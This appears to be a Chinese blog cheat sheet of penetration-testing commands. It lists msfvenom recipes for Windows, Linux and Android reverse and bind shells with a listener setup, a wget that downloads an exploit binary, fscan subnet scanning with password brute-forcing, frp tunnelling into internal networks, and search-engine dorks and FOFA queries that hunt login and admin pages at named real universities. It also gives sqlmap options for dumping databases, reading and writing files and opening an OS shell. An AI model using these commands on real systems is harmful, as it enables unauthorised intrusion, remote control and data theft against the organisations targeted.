网络安全常用命令

『』785

已于 2024-06-06 22:42:11 修改

阅读量1.9k

点赞数 35

分类专栏： other 文章标签： web安全

于 2024-04-05 09:38:56 首次发布

本文链接：https://blog.csdn.net/qq_61475980/article/details/137103684

版权

other 专栏收录该内容

6 篇文章 0 订阅

订阅专栏

windows

whoami
ver
ipconfig /all
netstat -ano
tasklist /svc
netstat -anpt | findstr 15420

taskkill /pid 14396 -t -f

linux

whoami
id
uname -a
ifconfig
netstat -ano
ps -ef
netstat -anpt | grep 15420

grep "" /root/1.txt 文件内容搜索
find / -name "" 文件名搜索

kill -9 15420
kill -9 -15420

ls -al /root

mkdir rmdir
touch rm
rm -rf

chmod 777 xx

tar -zxvf xx.tar.gz
tar -cvf xx

cat 1.txt >> 2.txt
echo "123" > 2.txt
>>追加 > 覆盖

python开启 web服务
python3 -m http.server -d /root/http

wget http://x.x.x.x:8080/ms10-051.exe -O /tmp/exploit.exe

lsof /root/xx
lsof -p pid

vim /etc/hosts

systemctl start firewalld
systemctl stop firewalld
firewall-cmd --zone=public --add-port=80/tcp --permanent
firewall-cmd --zone= public --remove-port=80/tcp --permanent

msf

msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe -o shell.exe


msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/bind_https LHOST=10.211.55.2 LPORT=3333  -f elf -o shell.elf

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333  -o test.apk

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6688

shell
upload
download
background
sessions
sessions -i 1

域

hostname -I
检索分配的所有IP地址

fscan

fscan -h x.x.x.x/24 -o /tmp/1.txt
fscan -hf 1.txt -o /tmp/1.txt
fscan -h x.x.x.x/18 -np 低权限
fscan -h x.x.x.x/24 -nopoc -nobr -np 这样流量会小一点

-nobr 跳过sql、ftp、ssh等的密码爆破
-nopoc 跳过web poc扫描
-np 跳过存活探测

伪装config readme.txt

frp

frp+proxifier实现内网socks5反向代理 - 枕桃花吹长笛 - 博客园 (cnblogs.com)

./frpc -c frpc.toml
./frps -c frps.toml

谷歌语法

site:heimian.com intext: 管理 | 后台 | 登陆 | 用户名 | 密码 | 验证码系统 | 帐号 | manage l admin l login l system
site:heimian.com inurl:login l admin | manage | manager | admin_login | login_admin l system
site:heimian.com intitle:管理 | 后台 | 登陆 |
site:heimian.com intext:验证码
搜集一些基本信息
在地址后面逐-添加info.php phpinfo.php test.php 找到 php统计配置信息

黑暗引擎语句

fofa成立的时间早，其中的子域名和资产比较多
domain host cert org

domain="baidu.com" || cert="baidu.com"

证书查询
((cert="*.sicau.edu.cn" && cert.is_match=true) || host="*.sicau.edu.cn") && status_code="200"

找边缘资产
(((((title="西南石油大学" || body="西南石油大学") && (title="系统" || title="登录" || title="login" || title="平台" || title="管理" || title="后台")) && country="CN") && region!="HK") && region!="TW") && region!="MO"

通过组织找
"关键词" && org="China Education and Research Network Center"&&status_code="200"&&title!="404"

hunter备案查询好用
icp.name=="" OR icp.number=""

工具

wireshark

tcpdump -i eth0 -w /tmp/1.pcap
tshark -F pcap -r 1.pcapng -w 1.pcap

ip.addr == 192.168.0.1

tcp or arp
not (tcp or arp or smtp)

tcp.port == 80
tcp.port in {80,443,8080}

frame matches "baidu.com" #关键词查询

sqlmap

sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"
sqlmap -r 1.txt

--is-dba
--dbs
-D xx --tables
-D xx -T xx --columns
-D xx -T xx -C xx --dump
--random-agent
--tamper=unmagicquotes.py 魔术引号
--file-read "c:/a.txt"
--file-write "1.txt" --file-dest "c:/123.txt"
--os-shell

python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --technique EB
B：Boolean-based blind（布尔型注入）
E：Error-based（报错型注入）
U：Union query-based（可联合查询注入）
S：Stacked queries（可多语句查询注入）
T：Time-based blind（基于时间延迟注入）
Q：Inline queries（嵌套查询注入）